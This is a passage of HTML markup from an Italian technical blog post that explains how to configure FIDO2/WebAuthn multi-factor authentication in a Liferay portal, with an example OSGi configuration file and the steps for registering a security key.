        &lt;source srcSet=&quot;/static/9e7948f7e5bd2de7f621d71b61e41641/c85cb/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.webp 300w,/static/9e7948f7e5bd2de7f621d71b61e41641/e88ff/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.webp 600w,/static/9e7948f7e5bd2de7f621d71b61e41641/92f8c/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.webp 1200w,/static/9e7948f7e5bd2de7f621d71b61e41641/62ed8/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.webp 1800w,/static/9e7948f7e5bd2de7f621d71b61e41641/46261/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.webp 2400w,/static/9e7948f7e5bd2de7f621d71b61e41641/62e79/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.webp 2715w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/9e7948f7e5bd2de7f621d71b61e41641/5a46d/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png 300w,/static/9e7948f7e5bd2de7f621d71b61e41641/0a47e/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png 600w,/static/9e7948f7e5bd2de7f621d71b61e41641/c1b63/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png 1200w,/static/9e7948f7e5bd2de7f621d71b61e41641/d61c2/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png 1800w,/static/9e7948f7e5bd2de7f621d71b61e41641/97a96/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png 2400w,/static/9e7948f7e5bd2de7f621d71b61e41641/bdedb/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png 2715w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 7 - Accesso alla configurazione di FIDO2 o Fast IDentity Online 2&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/9e7948f7e5bd2de7f621d71b61e41641/c1b63/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-1.png&quot; title=&quot;Figura 7 - Accesso alla configurazione di FIDO2 o Fast IDentity Online 2&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 7 - Accesso alla configurazione di FIDO2 o Fast IDentity Online 2&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Lasciando la configurazione con i valori di default, questa può andar bene per
iniziare a fare i test sul proprio ambiente locale.&lt;/p&gt;&lt;p&gt;È possibile agire sulle seguenti impostazioni:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Order&lt;/strong&gt;: imposta la priorità per il controllo MFA via FIDO2. Maggiore è il numero, maggiore è la priorità. La priorità predefinita è impostata in modo che FIDO2 diventi il controllore di priorità più alta se abilitato.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Relying Party Name&lt;/strong&gt;: un nome arbitrario per il sito Web o installazione.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Allowed Credentials Per User&lt;/strong&gt;: ogni utente può avere il numero impostato di dispositivi FIDO2.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Relying Party ID&lt;/strong&gt;: l&amp;#x27;&lt;a href=&quot;https://www.w3.org/TR/webauthn-2/#relying-party&quot;&gt;identificatore di Relying Party di WebAuthn&lt;/a&gt;. In genere è impostato con il nome di dominio del portale.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Origins&lt;/strong&gt;: le risposte dell&amp;#x27;autenticatore vengono confrontate con questo URL di origine, che dovrebbe puntare alla propria installazione o comunque al &lt;em&gt;virtual host&lt;/em&gt; della specifica istanza Liferay. È possibile aggiungere diversi valori per questa configurazione. Per motivi di sicurezza è sempre consigliato l&amp;#x27;uso di https per crittografare la connessione.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Allow Origin Port&lt;/strong&gt;: selezionare questa casella per includere qualsiasi numero di porta nella regola di corrispondenza dell&amp;#x27;origine. Impostare quest&amp;#x27;opzione potrebbe essere utile in ambiente di sviluppo/collaudo.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Allow Origin Subdomain&lt;/strong&gt;: selezionare questa casella per includere qualsiasi sottodominio di origine nella regola di corrispondenza dell&amp;#x27;origine.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Ipotizzando un caso reale, potremmo pensare d&amp;#x27;impostare i seguenti valori
di configurazione:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;strong&gt;Relying Party Name&lt;/strong&gt;: SMC Tech Blog&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Relying Party ID&lt;/strong&gt;: techblog.portal.local&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Origins&lt;/strong&gt;: &lt;a href=&quot;https://techblog.portal.local&quot;&gt;https://techblog.portal.local&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;La figura a seguire mostra la configurazione di FIDO2 con applicati i valori
indicati in precedenza.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/5aab95b1662fa3232547033b1de4e7ef/c2d13/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:115.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;463\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20463\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M113%2079v12h71V68l-36-1h-35v12m1%200l1%2011h67V69h-68v10m0%2051v27l1%2026h271v-54H250l-136%201m2%2026v25h269v-50H116v25m-3%20102v35h271v-71H113v36m2-1v34h268v-67l-134-1H115v34m-2%2070v31h272v-62l-136-1H113v32m2-1v30h268v-60H115v30m282%2078l1%2054%201-9-1-100-1%2055m-285%2013v8h26v-17h-26v9\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/5aab95b1662fa3232547033b1de4e7ef/c85cb/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.webp 300w,/static/5aab95b1662fa3232547033b1de4e7ef/e88ff/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.webp 600w,/static/5aab95b1662fa3232547033b1de4e7ef/92f8c/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.webp 1200w,/static/5aab95b1662fa3232547033b1de4e7ef/62ed8/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.webp 1800w,/static/5aab95b1662fa3232547033b1de4e7ef/46261/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.webp 2400w,/static/5aab95b1662fa3232547033b1de4e7ef/5a003/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.webp 2560w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/5aab95b1662fa3232547033b1de4e7ef/5a46d/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png 300w,/static/5aab95b1662fa3232547033b1de4e7ef/0a47e/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png 600w,/static/5aab95b1662fa3232547033b1de4e7ef/c1b63/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png 1200w,/static/5aab95b1662fa3232547033b1de4e7ef/d61c2/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png 1800w,/static/5aab95b1662fa3232547033b1de4e7ef/97a96/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png 2400w,/static/5aab95b1662fa3232547033b1de4e7ef/c2d13/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png 2560w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 8 - Configurazione completa del modulo MFA di FIDO2&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/5aab95b1662fa3232547033b1de4e7ef/c1b63/instance-settings-configure-and-enable-multifactor-autentication-FIDO2-2.png&quot; title=&quot;Figura 8 - Configurazione completa del modulo MFA di FIDO2&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 8 - Configurazione completa del modulo MFA di FIDO2&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;La stessa configurazione è possibile utilizzando il file di
&lt;a href=&quot;https://learn.liferay.com/dxp/latest/en/system-administration/configuring-liferay/configuration-files-and-factories/using-configuration-files.html&quot;&gt;configurazione OSGi&lt;/a&gt;
(quelli che per intenderci sono posizionati in &lt;code&gt;$LIFERAY_HOME/osgi/configs&lt;/code&gt;).
A seguire il contenuto del file &lt;code&gt;com.liferay.multi.factor.authentication.fido2.web.internal.configuration.MFAFIDO2Configuration.scoped~3da064c9-3224-405d-8dc6-677104a70170.config&lt;/code&gt;
che riporta la medesima configurazione mostrata dalla Figura 8.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;properties&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;allowOriginPort&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=B&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;false&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;allowOriginSubdomain&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=B&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;false&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;allowedCredentialsPerUser&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=I&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;1&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;companyId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=L&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;34701&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=B&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;true&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;origins&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=[ \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;https://techblog.portal.local&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;relyingPartyId&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;techblog.portal.local&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;relyingPartyName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;SMC\ Tech\ Blog&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;service.ranking&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=I&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;200&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source 1 - File di configurazione OSGi relativo al modulo FIDO2&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h2 id=&quot;4-procedura-di-registrazione-dellauthenticator&quot;&gt;4. Procedura di registrazione dell&amp;#x27;authenticator&lt;/h2&gt;&lt;p&gt;Una volta abilitato FIDO2, gli utenti potranno aggiungere gli &lt;em&gt;autenticatori&lt;/em&gt;
direttamente dalle impostazioni dell&amp;#x27;account dell&amp;#x27;utente seguendo i passi
indicati a seguire. Questo processo implementa il flusso di registrazione
delle credenziali WebAuthn descritto in precedenza e mostrato in Figura 1.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Fare clic sull&amp;#x27;immagine del profilo&lt;/li&gt;&lt;li&gt;Fare clic su &lt;em&gt;Account Settings&lt;/em&gt;&lt;/li&gt;&lt;li&gt;Viene visualizzata una nuova scheda in alto, denominata &lt;em&gt;Multi-Factor Authentication&lt;/em&gt;, quindi, cliccare su di essa&lt;/li&gt;&lt;li&gt;Assicurarsi che il proprio dispositivo conforme a FIDO2 sia connesso al proprio PC (per esempio via USB)&lt;/li&gt;&lt;li&gt;Per registrare l&amp;#x27;autenticatore, fare clic sul grande pulsante blu con l&amp;#x27;etichetta &lt;em&gt;Register a FIDO2 Authenticator&lt;/em&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:788px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/97034b1b20def3a46ac8d055700ea661/ea7fb/user-account-settings-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:152.33333333333334%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;609\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20609\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M348%2020c-12%202-21%2014-20%2026%203%2024%2035%2030%2045%209%209-18-6-39-25-35m-3%202c-17%207-20%2031-5%2040%2023%2014%2046-15%2029-34-6-6-17-8-24-6m-68%2015c-6%204-2%2013%205%2012%202-1%203%200%205%201%203%202%204%200%202-2l-2-5c0-4-1-5-4-7-3-1-3-1-6%201m70%209l-2%203c0%204%2012%205%2014%201%203-5-8-8-12-4m-8%2072c-4%205-1%2012%205%2012%207%200%2010-8%204-12-3-3-6-3-9%200M33%20447\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/97034b1b20def3a46ac8d055700ea661/c85cb/user-account-settings-1.webp 300w,/static/97034b1b20def3a46ac8d055700ea661/e88ff/user-account-settings-1.webp 600w,/static/97034b1b20def3a46ac8d055700ea661/4d911/user-account-settings-1.webp 788w&quot; sizes=&quot;(max-width: 788px) 100vw, 788px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/97034b1b20def3a46ac8d055700ea661/5a46d/user-account-settings-1.png 300w,/static/97034b1b20def3a46ac8d055700ea661/0a47e/user-account-settings-1.png 600w,/static/97034b1b20def3a46ac8d055700ea661/ea7fb/user-account-settings-1.png 788w&quot; sizes=&quot;(max-width: 788px) 100vw, 788px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 9 - Accesso alle impostazioni dell&amp;#x27;account&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/97034b1b20def3a46ac8d055700ea661/ea7fb/user-account-settings-1.png&quot; title=&quot;Figura 9 - Accesso alle impostazioni dell&amp;#x27;account&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 9 - Accesso alle impostazioni dell&amp;#x27;account&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Quando si procede con la registrazione, è possibile il vostro browser mostri
degli avvisi di sicurezza, come per esempio quelli mostrati a seguire che fanno
riferimento a Firefox (versione 100.0.1 64bit). Altri browser potrebbero avere
comportamenti diversi ma con lo stesso intento.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1012px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/eceddad60fcb0387af106f9775b71626/ad997/user-account-settings-mfa-fido-registration-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:50.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;202\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20202\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M62%2012l-2%203c0%201%201%201%202-1l4-2c2%200%202%200%200%201l-3%202-3%202-1%202c0%202%200%202%203%202%203-1%203-1%202%201l2-1h4l1-4c0-6-6-9-9-5m191%2046c-1%201-2%202-3%201h-2c-1%200-1%201%201%201v1c-3%200-2%203%200%203s3-1%203-2l1-2v2c0%203%202%203%202%200l1-2%201%202c0%203%202%203%202%200v-2l1%202c1%202%205%203%205%200h1c1%202%205%203%205%201h-1l-2-1c0-2%201-2%202-2h1c0-2-2-2-4-1h-5c-2%201-4%200-2-2l-1-1-2%202-1%201-1-1c1-3-1-2-2%200M25%2067v6c2%201%202%202%201%202-2%201%200%203%203%203%204%200%204%200%204-7v-5l-3-1-5%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/eceddad60fcb0387af106f9775b71626/c85cb/user-account-settings-mfa-fido-registration-1.webp 300w,/static/eceddad60fcb0387af106f9775b71626/e88ff/user-account-settings-mfa-fido-registration-1.webp 600w,/static/eceddad60fcb0387af106f9775b71626/2dbb9/user-account-settings-mfa-fido-registration-1.webp 1012w&quot; sizes=&quot;(max-width: 1012px) 100vw, 1012px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/eceddad60fcb0387af106f9775b71626/5a46d/user-account-settings-mfa-fido-registration-1.png 300w,/static/eceddad60fcb0387af106f9775b71626/0a47e/user-account-settings-mfa-fido-registration-1.png 600w,/static/eceddad60fcb0387af106f9775b71626/ad997/user-account-settings-mfa-fido-registration-1.png 1012w&quot; sizes=&quot;(max-width: 1012px) 100vw, 1012px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 10 - Avviso del browser che l&amp;#x27;applicazione sta richiedendo l&amp;#x27;uso della vostra Security Key&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/eceddad60fcb0387af106f9775b71626/ad997/user-account-settings-mfa-fido-registration-1.png&quot; title=&quot;Figura 10 - Avviso del browser che l&amp;#x27;applicazione sta richiedendo l&amp;#x27;uso della vostra Security Key&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 10 - Avviso del browser che l&amp;#x27;applicazione sta richiedendo l&amp;#x27;uso della vostra Security Key&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:982px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/52d91d9145f9e460069dfed041ec3e06/84a90/user-account-settings-mfa-fido-registration-2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:37%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;148\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20148\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M17%2013c-3%202-3%202-2%205%202%206%205%208%209%205%205-6%200-14-7-10m8%2056v7c2%201%202%202%201%202-2%201%200%203%203%203%204%200%205-2%205-8%200-4-1-4-4-5l-5%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/52d91d9145f9e460069dfed041ec3e06/c85cb/user-account-settings-mfa-fido-registration-2.webp 300w,/static/52d91d9145f9e460069dfed041ec3e06/e88ff/user-account-settings-mfa-fido-registration-2.webp 600w,/static/52d91d9145f9e460069dfed041ec3e06/4c092/user-account-settings-mfa-fido-registration-2.webp 982w&quot; sizes=&quot;(max-width: 982px) 100vw, 982px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/52d91d9145f9e460069dfed041ec3e06/5a46d/user-account-settings-mfa-fido-registration-2.png 300w,/static/52d91d9145f9e460069dfed041ec3e06/0a47e/user-account-settings-mfa-fido-registration-2.png 600w,/static/52d91d9145f9e460069dfed041ec3e06/84a90/user-account-settings-mfa-fido-registration-2.png 982w&quot; sizes=&quot;(max-width: 982px) 100vw, 982px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 11 - Il browser invita a usare la Security Key per connettersi e autorizzare il portale&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/52d91d9145f9e460069dfed041ec3e06/84a90/user-account-settings-mfa-fido-registration-2.png&quot; title=&quot;Figura 11 - Il browser invita a usare la Security Key per connettersi e autorizzare il portale&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 11 - Il browser invita a usare la Security Key per connettersi e autorizzare il portale&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Una volta che la procedura di registrazione è stata ultimata con successo, dovreste
vedere la vostra Security Key o Authenticator (per restare nei termini di FIDO2)
registrata sul proprio account. Da questo momento in poi sarà possibile accedere
al portale Liferay utilizzando la vostra Security Key come altro fattore di
autenticazione.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/6c6d47f42ec853967bd7e4c6869586e4/eb645/user-account-settings-mfa-fido-registration-3.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:53.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;215\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20215\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M7%207c-4%203-2%209%203%209%204%200%206-2%206-6%200-5-5-6-9-3m70%20124v7l1%205h118v-13h-59l-60%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/6c6d47f42ec853967bd7e4c6869586e4/c85cb/user-account-settings-mfa-fido-registration-3.webp 300w,/static/6c6d47f42ec853967bd7e4c6869586e4/e88ff/user-account-settings-mfa-fido-registration-3.webp 600w,/static/6c6d47f42ec853967bd7e4c6869586e4/92f8c/user-account-settings-mfa-fido-registration-3.webp 1200w,/static/6c6d47f42ec853967bd7e4c6869586e4/62ed8/user-account-settings-mfa-fido-registration-3.webp 1800w,/static/6c6d47f42ec853967bd7e4c6869586e4/46261/user-account-settings-mfa-fido-registration-3.webp 2400w,/static/6c6d47f42ec853967bd7e4c6869586e4/bca93/user-account-settings-mfa-fido-registration-3.webp 2500w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/6c6d47f42ec853967bd7e4c6869586e4/5a46d/user-account-settings-mfa-fido-registration-3.png 300w,/static/6c6d47f42ec853967bd7e4c6869586e4/0a47e/user-account-settings-mfa-fido-registration-3.png 600w,/static/6c6d47f42ec853967bd7e4c6869586e4/c1b63/user-account-settings-mfa-fido-registration-3.png 1200w,/static/6c6d47f42ec853967bd7e4c6869586e4/d61c2/user-account-settings-mfa-fido-registration-3.png 1800w,/static/6c6d47f42ec853967bd7e4c6869586e4/97a96/user-account-settings-mfa-fido-registration-3.png 2400w,/static/6c6d47f42ec853967bd7e4c6869586e4/eb645/user-account-settings-mfa-fido-registration-3.png 2500w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
